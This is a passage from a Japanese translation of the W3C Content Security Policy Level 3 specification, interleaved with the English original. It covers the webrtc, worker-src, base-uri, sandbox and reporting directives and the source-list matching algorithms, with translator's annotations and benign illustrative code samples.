6.1.15.1. `style-src-attr^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src-attr$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.2. 他の指令
6.2.1. `webrtc^dir
`webrtc@dir 指令は、[ ~WebRTCを介して接続を確立してヨイかどうか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "webrtc" `directive-value$p = "`allow@pl" / "`block@pl"
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
Content-Security-Policy: `webrtc$dir 'block'
次の~code【!<script> … </script>】が局所( `local$m )~ICE候補( `RTCIceCandidate$I )に面することはない — 下で[ 折衝される~peer接続( `RTCPeerConnection$I )( %pc )に供した~ICE~server( %iceServers ) ]に対しては、 ~STUN検査は為されないので。 ~JSにより供される どの~remote( `remote$m )~ICE候補に対しても,接続性の検査は試みられない。 `connectionState$m (`接続~状態@~TR/webrtc/#dfn-connection-state$)は、 決して `connected^l ( “接続-済み” )へは遷移しない — 代わりに、 その初期~状態 `new^l ( “新たな” )から直に `failed^l ( “失敗した” )へ,すぐに遷移する。 %pc に対し `restartIce()$m を試みても、 この成り行きを繰返すことになる。 ◎ No local ICE candidates will be surfaced, as no STUN checks will be made against the ICE server provided to the peer connection negotiated below; No connectivity-checks will be attempted to any remote candidates provided by JS; The connectionState will never transition to "connected" and instead transition directly from its initial state of "new" to "failed" shortly. Attempts to pc.restartIce() will repeat this outcome.
【 ~ICEは、 `Interactive Connectivity Establishment^en ( “対話的な接続性~確立” )の略語 】【 この段落~内の各[ 括弧, および~link ]は、 この訳による補完(推定)。 】
const %iceServers = [{urls: "stun:stun.l.google.com:19302"}]; const %pc = new RTCPeerConnection({%iceServers}); %pc.createDataChannel(""); const %io = new WebSocket('ws://example.com:8080'); %pc.onicecandidate = ({%candidate}) => %io.send({%candidate}); %pc.onnegotiationneeded = async () => { await %pc.setLocalDescription(); %io.send({%description: %pc.localDescription}); }; %io.onmessage = async ({data: {%description, %candidate}}) => { if (%description) { await %pc.setRemoteDescription(%description); if (%description.type == "offer") { await %pc.setLocalDescription(); %io.send({description: %pc.localDescription}); } } else if (%candidate) await %pc.addIceCandidate(%candidate); };
6.2.1.1. `webrtc^dir 接続前~検査
次の~algoが、 この指令の`~WebRTC接続前~検査$Aを与える: ◎ This directive’s webrtc pre-connect check is as follows:
- ~RET [ 次が満たされるならば `許容される^i/ ~ELSE_ `阻止される^i ] ⇒ [ この指令の`値$は単独の~item %~item のみからなる ]~AND[ %~item ~EQ`大小無視$sub "`allow$pl" ] ◎ If this directive’s value contains a single item which is an ASCII case-insensitive match for the string "'allow'", return "Allowed". ◎ Return "Blocked".
6.2.2. `worker-src^dir
`worker-src@dir 指令は、[ どの~URLを[ `Worker$I / `SharedWorker$I / `ServiceWorker$I ]として読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "worker-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `worker-src$dir https://example.com/
次の~codeによる~fetchは,~network~errorを返すことになる — 供された~URLは, `worker-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match worker-src’s source list:
<script> var blockedWorker = new Worker("data:application/javascript,..."); blockedWorker = new SharedWorker("https://example.org/"); navigator.serviceWorker.register('https://example.org/sw.js'); </script>
6.2.2.1. `worker-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `worker-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.2.2.2. `worker-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `worker-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.3. 文書~指令
この節の指令は、 施策が適用される[ 文書/~worker ]環境の~propを統治する。 ◎ The following directives govern the properties of a document or worker environment to which a policy applies.
6.3.1. `base-uri^dir
`base-uri@dir 指令は、 `文書$の `base$e 要素に利用できる`~URL$を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The base-uri directive restricts the URLs which can be used in a Document's base element. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "base-uri" `directive-value$p = `serialized-source-list$p
次の~algoは、 この指令を 監視する/施行する ために,[ ~HTMLの,`凍結d基底~URLを設定する$~algo ]から~callされる: ◎ The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:
6.3.1.1. 文書に対する基底は許容されるか?
次の~algoは、 所与の ( `~URL$ %基底, `文書$ %文書 ) に対し,[ %基底 を `base$e 要素の `href$a 属性の値として利用できるならば `許容される^i / ~ELSE_ `阻止される^i ]を返す: ◎ Given a URL base, and a Document document, this algorithm returns "Allowed" if base may be used as the value of a base element’s href attribute, and "Blocked" otherwise:
-
%文書 の`大域~obj$が`有する~CSP~list$ 【 %文書 が`有する~CSP~list$?】 を成す ~EACH( %施策 ) に対し: ◎ For each policy of document’s global object’s csp list:
- %~source~list ~LET ~NULL ◎ Let source list be null.
- ~IF[ %施策 の`指令~集合$内に[ `名前$ `base-uri^l を伴う`指令$ ]は在る ] ⇒ %~source~list ~SET その`指令$の`値$ ◎ If a directive whose name is "base-uri" is present in policy’s directive set, set source list to that directive’s value.
- ~IF[ %~source~list ~EQ ~NULL ] ⇒ ~CONTINUE ◎ If source list is null, skip to the next policy.
-
~IF[ `~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか?$A( %基底, %~source~list, %施策 の`自己-生成元$, 0 ) ~EQ `合致しない^i ]: ◎ If the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on base, source list, policy’s self-origin, and 0 is "Does Not Match":
- %違反 ~LET `新たな違反~obj$A1( %文書 の`大域~obj$, %施策, `base-uri$dir ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "base-uri".
- %違反 の`資源$vr ~SET `inline^l ◎ Set violation’s resource to "inline".
- `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ ~RET `阻止される^i ◎ If policy’s disposition is "enforce", return "Blocked".
注記: ここで %施策 の`自己-生成元$†と比較するのは、 不透明な生成元の中へ~sandbox化された`~iframe-srcdoc文書$などに正しく~~対処するためである。 【† 原文には “`fallback base URL^en (`~fallback基底~URL@~HTMLurl#fallback-base-url$)” と記されているが、(自己-生成元が導入される前の)古い記述の更新漏れと見受けられる。】 ◎ Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.
- ~RET `許容される^i ◎ Return "Allowed".
6.3.2. `sandbox^dir
`sandbox@dir 指令は、[ その値が `iframe$e の `sandbox$a 属性の値に含められていた ]かのように,~UAが資源に適用することになる~HTML~sandbox施策を指定する。 ◎ The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.
この指令の名前と値の構文は、 次の`~ABNF$で述べられる。 加えて,その各 `token^p 値は、 `HTML$r により[ `iframe$e の `sandbox$a 属性に許容される値 ]として定義される,いずれかの~keywordでなければナラナイ: ◎ The directive’s syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].
`directive-name$p = "sandbox" `directive-value$p = "" / `token$p *( `required-ascii-whitespace$p `token$p )
この指令には、 報告-法の要件はない — この指令が[ `Content-Security-Policy-Report-Only$h ~header内で送達された / `meta$e 要素の中にある ]ときは、 まるごと無視されることになる。 ◎ This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.
6.3.2.1. `sandbox^dir 初期化
次の~algoが、 この指令の`初期化$Aを与える。 それは、 その施策~内に `sandbox$dir 値が在るかどうかに則って, ~workerを走らすのは許容されるかどうか検査する責を負う: ◎ This directive’s initialization algorithm is responsible for checking whether a worker is allowed to run according to the sandbox values present in its policies as follows:
注記: `sandbox$dir 指令は、 `~CSPから導出される~sandbox法~flag群$を介して `文書$にて`作動中な~sandbox法~flag集合$を調整する責も負う。 ◎ Note: The sandbox directive is also responsible for adjusting a Document's active sandboxing flag set via the CSP-derived sandboxing flags.
所与の ( `文書$または`大域~obj$ %文脈, `施策$ %施策 ) に対し: ◎ Given a Document or global object context and a policy policy:
- ~IF[ %施策 の`処置先$ ~NEQ `enforce^l ]~OR[ %文脈 は `WorkerGlobalScope$I でない ] ⇒ ~RET ◎ If policy’s disposition is not "enforce", or context is not a WorkerGlobalScope, then abort this algorithm.
- %~sandbox法~flag集合 ~LET 新たな`~sandbox法~flag集合$ ◎ Let sandboxing flag set be a new sandboxing flag set.
- `~sandbox法~指令を構文解析する$( この指令の`値$, %~sandbox法~flag集合 ) ◎ Parse a sandboxing directive using this directive’s value as the input, and sandboxing flag set as the output.
-
~IF[ `閲覧~文脈~sandbox化( ~script )~flag$ ~IN %~sandbox法~flag集合 ]~OR[ `閲覧~文脈~sandbox化( 生成元 )~flag$ ~IN %~sandbox法~flag集合 ] ⇒ ~RET `阻止される^i ◎ If sandboxing flag set contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "Blocked".
注記: この段は、 ~workerを一意な生成元【!*】の中へ~sandbox化することを許容した場合には, 変更する必要がある。 そうするのは、 相当に適理と見受けられる。 ◎ Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.
- ~RET `許容される^i ◎ Return "Allowed".
6.5. 指令の報告-法
この文書~内の各種~algoは、 報告-処理の中に~hookされる — [ `新たな違反~obj$A( %大域~obj, … ) / `新たな違反~obj$A1( %要請, … ) ]手続きを介して`違反$~objを構築した上で、 報告を送達するときに,その~objを`違反を報告する$A手続きに渡すことにより。 ◎ Various algorithms in this document hook into the reporting process by constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive, and passing that object to § 5.5 Report a violation to deliver the report.
6.5.1. `report-uri^dir
注記: `report-uri$dir 指令は、 非推奨にされた。 代わりに `report-to$dir を利用されたし。 後者が在る場合、 この指令は無視されることになる。 後方-互換性を確保するためには、 次のように両者とも指定することが示唆される: ◎ Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
`Content-Security-Policy$h: ...; `report-uri$dir https://endpoint.com; `report-to$dir groupname
`report-uri@dir 指令は、 `報告先$ — 特定0の挙動が防止されたとき,`~CSP違反~報告$の送信-先になる~network端点 — たちが成す集合を定義する。 ◎ The report-uri directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.
`directive-name$p = "report-uri" `directive-value$p = `uri-reference$p *( `required-ascii-whitespace$p `uri-reference$p ) ; The uri-reference grammar is defined in Section 4.1 of RFC 3986.
この指令は、 それ自身は効果を持たず,他の指令との組合nにおいてのみ効果を~~発揮する。 ◎ The directive has no effect in and of itself, but only gains meaning in combination with other directives.
6.5.2. `report-to^dir
`report-to@dir 指令は、 違反~報告の送信-先とされるべき`報告先$ `REPORTING$r を定義する。 この指令の挙動は、 `違反を報告する$A~algoにて定義される。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The report-to directive defines a reporting endpoint to which violation reports ought to be sent [REPORTING]. The directive’s behavior is defined in § 5.5 Report a violation. The directive’s name and value are described by the following ABNF:
`directive-name$p = "report-to" `directive-value$p = `token$p
6.6. 他の文書にて定義される指令
この文書は、 中核を成す一群の指令を定義して,他の仕様が~modularに拡張するための~frameworkを整える。 この文書が公表された時点では、 次に挙げる安定的な文書が~CSPを拡張している: ◎ This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:
- `MIX$r は、 `block-all-mixed-content$dir 指令を定義する 【が、その~level 2 にて廃用にされた】。 ◎ [MIX] defines block-all-mixed-content
- `UPGRADE-INSECURE-REQUESTS$r は、 `upgrade-insecure-requests$dir 指令を定義する。 ◎ [UPGRADE-INSECURE-REQUESTS] defines upgrade-insecure-requests
~CSPに対する拡張は、 `RFC7762$r に従って登録されなければナラナイ。 特に、 その文書の § 4.2 に論じられている判定基準に注意。 ◎ Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.
新たな指令は、 各種~hook — `要請前~検査$A, `要請後~検査$A, `初期化$A — を利用して,自身を[ ~Fetch/~HTML ]に統合するベキである。 ◎ New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.
6.7. 各種~照合~algo
6.7.1. ~script指令の検査
6.7.1.1. ~script指令の要請前~検査
所与の ( `要請$ %要請, `指令$ %指令, `施策$ %施策 ) に対し: ◎ Given a request request, a directive directive, and a policy policy:
- %~list ~LET %指令 の`値$ ◎ ↓
-
~IF[ %要請 の`行先$rqは`~scriptに類する$ ]: ◎ If request’s destination is script-like:
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, %~list ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `完全性~metadataは~source~listに合致するか?$A( %要請 の`完全性~metadata$rq, %~list ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".
-
~IF[ %~list は[ `~source式$ ~EQ`大小無視$sub `strict-dynamic$pl ]を包含する ] ⇒ ~RET [ 次が満たされるならば `許容される^i / ~ELSE_ `阻止される^i ] ⇒ %要請 の`構文解析器~metadata$rq ~NEQ `parser-inserted$l ◎ If directive’s value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source: • If the request’s parser metadata is "parser-inserted", return "Blocked". • Otherwise, return "Allowed".
注記: `strict-dynamic$pl についての詳細は~strict-dynamic-usageに。 ◎ Note: "'strict-dynamic'" is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, %~list, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.7.1.2. ~script指令の要請後~検査
所与の ( `要請$ %要請, `応答$ %応答, `指令$ %指令, `施策$ %施策 ) に対し: ◎ This directive’s post-request check is as follows: ◎ Given a request request, a response response, a directive directive, and a policy policy:
- %~list ~LET %指令 の`値$ ◎ ↓
-
~IF[ %要請 の`行先$rqは`~scriptに類する$ ]: ◎ If request’s destination is script-like:
- `必要なら~hashを報告する$A( %応答, %要請, %指令, %施策 ) ◎ Call potentially report hash with response, request, directive and policy.
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, %~list ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `完全性~metadataは~source~listに合致するか?$A( %要請 の`完全性~metadata$rq, %~list ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ %~list 内に `strict-dynamic$pl は在る 【`大小無視$sub?】 ] ⇒ ~RET [ 次が満たされるならば `許容される^i / ~ELSE_ `阻止される^i ] ⇒ %要請 の`構文解析器~metadata$rq ~NEQ `parser-inserted$l ◎ If directive’s value contains "'strict-dynamic'": • If request’s parser metadata is not "parser-inserted", return "Allowed". • Otherwise, return "Blocked".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, %~list, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.7.2. ~URLの照合-法
6.7.2.1. 要請は施策に違反するか?
次の~algoは、 所与の ( `要請$ %要請, `施策$ %施策 ) に対し,[ %要請 が %施策 に違反するならば 違反された`指令$ / 違反しないならば ε ]を返す: ◎ Given a request request and a policy policy, this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.
- ~IF[ %要請 の`起動元$rq ~EQ `prefetch^l ] ⇒ ~RET `資源~hint要請は施策に違反するか?$A( %要請, %施策 ) ◎ If request’s initiator is "prefetch", then return the result of executing § 6.7.2.2 Does resource hint request violate policy? on request and policy.
- %違反された指令 ~LET ε ◎ Let violates be "Does Not Violate".
-
%施策 の`指令~集合$を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy:
- %結果 ~LET %指令 の`要請前~検査$A( %要請, %施策 ) ◎ Let result be the result of executing directive’s pre-request check on request and policy.
- ~IF[ %結果 ~EQ `阻止される^i ] ⇒ %違反された指令 ~LET %指令 ◎ If result is "Blocked", then let violates be directive.
- ~RET %違反された指令 ◎ Return violates.
6.7.2.2. 資源~hint要請は施策に違反するか?
次の~algoは、 所与の ( `要請$ %要請, `施策$ %施策 ) に対し,[ 当の資源~hint要請が すべての施策に違反する場合は既定の`指令$/ ~ELSE_ ε ]を返す: ◎ Given a request request and a policy policy, this algorithm returns the default directive if the resource-hint request violates all the policies, and "Does Not Violate" otherwise.
- %既定の指令 ~LET ε ◎ ↓
- %施策 を成す ~EACH( %指令 ) に対し ⇒ ~IF[ %指令 の`名前$ ~EQ `default-src^l ] ⇒# %既定の指令 ~SET %指令; ~BREAK ◎ Let defaultDirective be policy’s first directive whose name is "default-src".
- ~IF[ %既定の指令 ~EQ ε ] ⇒ ~RET ε ◎ If defaultDirective does not exist, return "Does Not Violate".
-
%施策 を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy:
- %結果 ~LET %指令 の`要請前~検査$A( %要請, %施策 ) ◎ Let result be the result of executing directive’s pre-request check on request and policy.
- ~IF[ %結果 ~EQ `許容される^i ] ⇒ ~RET ε ◎ If result is "Allowed", then return "Does Not Violate".
- ~RET %既定の指令 ◎ Return defaultDirective.
6.7.2.3. ~nonceは~source~listに合致するか?
次の~algoは、 所与の ( `要請$の`暗号用~nonce~metadata$rq %~nonce, `~source~list$ %~source~list ) に対し,[ %~nonce が %~source~list 内のいずれかの式に合致するならば `合致する^i / 合致しないならば `合致しない^i ]を返す: ◎ Given a request’s cryptographic nonce metadata nonce and a source list source list, this algorithm returns "Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:
- ~Assert: %~source~list ~NEQ ~NULL ◎ Assert: source list is not null.
- ~IF[ %~nonce ~EQ 空~文字列 ] ⇒ ~RET `合致しない^i ◎ If nonce is the empty string, return "Does Not Match".
-
%~source~list を成す ~EACH( %式 ) に対し: ◎ For each expression of source list:
- ~IF[ %式 は `nonce-source$p 文法に合致する ]~AND[ %~nonce ~EQ %式 の `base64-value$p 成分 ] ⇒ ~RET `合致する^i ◎ If expression matches the nonce-source grammar, and nonce is identical to expression’s base64-value part, return "Matches".
- ~RET `合致しない^i ◎ Return "Does Not Match".
6.7.2.4. 完全性~metadataは~source~listに合致するか?
次の~algoは、 所与の ( `要請$の`完全性~metadata$rq %完全性~metadata, `~source~list$ %~source~list ) に対し,[ %完全性~metadata が %~source~list 内のいずれかの式に合致するならば `合致する^i / 合致しないならば `合致しない^i ]を返す: ◎ Given a request’s integrity metadata integrity metadata and a source list source list, this algorithm returns "Matches" if the integrity metadata matches one or more source expressions in the list, and "Does Not Match" otherwise:
- ~Assert: %~source~list ~NEQ ~NULL ◎ Assert: source list is not null.
- %完全性~式~群 ~LET %~source~list 内の `hash-source$p 文法に合致する`~source式$たちが成す集合 ◎ Let integrity expressions be the set of source expressions in source list that match the hash-source grammar. ◎ ↓ If integrity expressions is empty, return "Does Not Match".
- %完全性~source群 ~LET `~metadataを構文解析する$( %完全性~metadata ) `SRI$r 【! "no metadata" は廃された】 ◎ Let integrity sources be the result of executing the algorithm defined in SRI § 3.3.3 Parse metadata. on integrity metadata. [SRI] ◎ ↓ If integrity sources is "no metadata" or an empty set, return "Does Not Match".
- %完全性~source群 を成す ~EACH( %~source ) に対し ⇒ %完全性~式~群 を成す ~EACH( %式 ) に対し ⇒ ~IF[ %式 の `hash-algorithm$p 成分 ~EQ`大小無視$sub %~source の`~algo$iM【!hash-algorithm】 ]~AND[ %式 の `base64-value$p 成分 ~EQ %~source の`値$iM【!base64-value】 ] ⇒ ~RET `合致する^i ◎ For each source of integrity sources: • If integrity expressions does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for source’s hash-algorithm, and whose base64-value is identical to source’s base64-value, return "Does Not Match". ◎ Return "Matches".
- ~RET `合致しない^i ◎ ↑
注記: ここで検証yするのは、 【!%完全性~metadata は %~source~list 内の `hash-source$p たちが成す空でない下位集合であるかどうか】 [ %完全性~metadata と %~source~list 内の `hash-source$p たちが成す集合 ]の交差集合は空でないかどうかに限られる。 これは、 応答において合致しない資源を阻止する際に, ~browserによる `SRI$r の施行nに依拠している。 ◎ Note: Here, we verify only whether the integrity metadata is a non-empty subset of the hash-source sources in source list. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.
6.7.2.5. 要請は~source~listに合致するか?
この~algoは、 所与の ( `要請$ %要請, `~source~list$ %~source~list, `施策$ %施策 ) に対し,次を返す ⇒ `~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか?$A( %要請 の`現在の~URL$rq, %~source~list, %施策 の`自己-生成元$, %要請 の`~redirect回数$rq ) ◎ Given a request request, a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on request’s current url, source list, policy’s self-origin, and request’s redirect count.
注記: これは,一般に、 所与の`要請$が適理かどうか検証yするために `指令$の`要請前~検査$A~algoから利用される。 ◎ Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.
6.7.2.6. 要請に対する応答は~source~listに合致するか?
この~algoは、 所与の ( `応答$ %応答, `要請$ %要請, `~source~list$ %~source~list, `施策$ %施策 ) 【!*原文抜け 応答】 に対し,次を返す ⇒ `~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか?$A( %応答 の`~URL$rs, %~source~list, %施策 の`自己-生成元$, %要請 の`~redirect回数$rq ) ◎ Given a request request, and a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on response’s url, source list, policy’s self-origin, and request’s redirect count.
注記: これは,一般に、 所与の`応答$が適理かどうか検証yするために `指令$の`要請後~検査$A~algoから利用される。 ◎ Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.
6.7.2.7. ~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか?
次の~algoは、 所与の ( `~URL$ %~URL, `~source~list$ %~source~list, `生成元$ %生成元, 整数 %~redirect回数 ) に対し, %~URL は %~source~list 内のいずれかの`~source式$に[ 合致するならば `合致する^i / 合致しないならば `合致しない^i ]を返す: ◎ Given a URL url, a source list source list, an origin origin, and a number redirect count, this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:
- ~Assert: %~source~list ~NEQ ~NULL ◎ Assert: source list is not null.
- ~IF[ %~source~list は`空$である ] ⇒ ~RET `合致しない^i ◎ If source list is empty, return "Does Not Match".
-
~IF[ %~source~list の`~size$ ~EQ 1 ]~AND[ %~source~list[ 0 ] ~EQ`大小無視$sub "`none$pl" ] ⇒ ~RET `合致しない^i ◎ If source list’s size is 1, and source list[0] is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".
注記: 空な %~source~list (すなわち、 ( `script-src^dir host1 とは対照的に) 値を伴わない指令 `script-src$dir ) は、 `none$pl を包含している %~source~list に等価になり,どの~URLにも合致しない。 ◎ Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.
注記: ~keyword `none^pl は、 他の~source式が在るときには,効果は無い。 すなわち、 ~list « "`none^pl" » は,どの~URLにも合致しない。 他方、 ~list « "`none^pl", `https://example.com^l » は, `https://example.com/^l に合致することになる。 ◎ Note: The 'none' keyword has no effect when other source expressions are present. That is, the list « 'none' » does not match any URL. A list consisting of « 'none', https://example.com », on the other hand, would match https://example.com/.
-
%~source~list を成す ~EACH( %式 ) に対し: ◎ For each expression of source list:
- ~IF[ `~URLは ( 生成元, ~redirect回数 ) について式に合致するか?$A( %~URL, %式, %生成元, %~redirect回数 ) ~EQ `合致する^i ] ⇒ ~RET `合致する^i ◎ If § 6.7.2.8 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".
- ~RET `合致しない^i ◎ Return "Does Not Match".
6.7.2.8. ~URL は ( 生成元, ~redirect回数 ) について式に合致するか?
次の~algoは、 所与の ( `~URL$ %~URL, `~source式$ %式, `生成元$ %生成元, 整数 %~redirect回数 ) に対し, %~URL が %式 に[ 合致するならば `合致する^i / 合致しないならば `合致しない^i ]を返す: ◎ Given a URL url, a source expression expression, an origin origin, and a number redirect count, this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.
注記: %生成元 は[ %式 が相対的に解決されるべき資源 ]の`生成元$である — 一例として, "`self$pl" は、 文脈の その一片に依存して別個な意味になる。 ◎ Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.
- ( %~URL~scheme, %~URL~host, %~URL~port ) ~LET ( %~URL の`~scheme$url, %~URL の`~host$url, %~URL の`~port$url ) ◎ ↓
-
( %生成元~scheme, %生成元~host, %生成元~port ) ~LET ( %生成元 の`~scheme$o, %生成元 の`~host$o, %生成元 の`~port$o )
【 この~algoは、 %生成元 が`不透明な生成元$である場合を[ これらの変数が利用される各所 ]で取扱っていない。 】
◎ ↓ -
~IF[ %式 ~EQ `~asterisk$ ]~AND[ %~URL~scheme ~IN { `~HTTP_S~scheme$, %生成元~scheme } ] ⇒ ~RET `合致する^i ◎ If expression is the string "*", return "Matches" if one or more of the following conditions is met: • url’s scheme is an HTTP(S) scheme. • url’s scheme is the same as origin’s scheme.
注記: この~logicは、 非`~HTTP_S~scheme$からの資源を許容するためには,[ 明示的にそう指定するか(例: `default-src * data: custom-scheme-1: custom-scheme-2:^s ),または 保護される資源は同じ~schemeから読込まれなければナラナイ ]ことを意味する。 ◎ Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.
- ~IF[ %式 は `scheme-source$p 文法に合致する ] ⇒ ~RET `~scheme成分は合致するか?$A( %式 の `scheme-part$p, %~URL~scheme ) ◎ If expression matches the scheme-source\ ↓ or host-source grammar: • If expression has a scheme-part, and it does not scheme-part match url’s scheme, return "Does Not Match". • If expression matches the scheme-source grammar, return "Matches". ◎ ↓
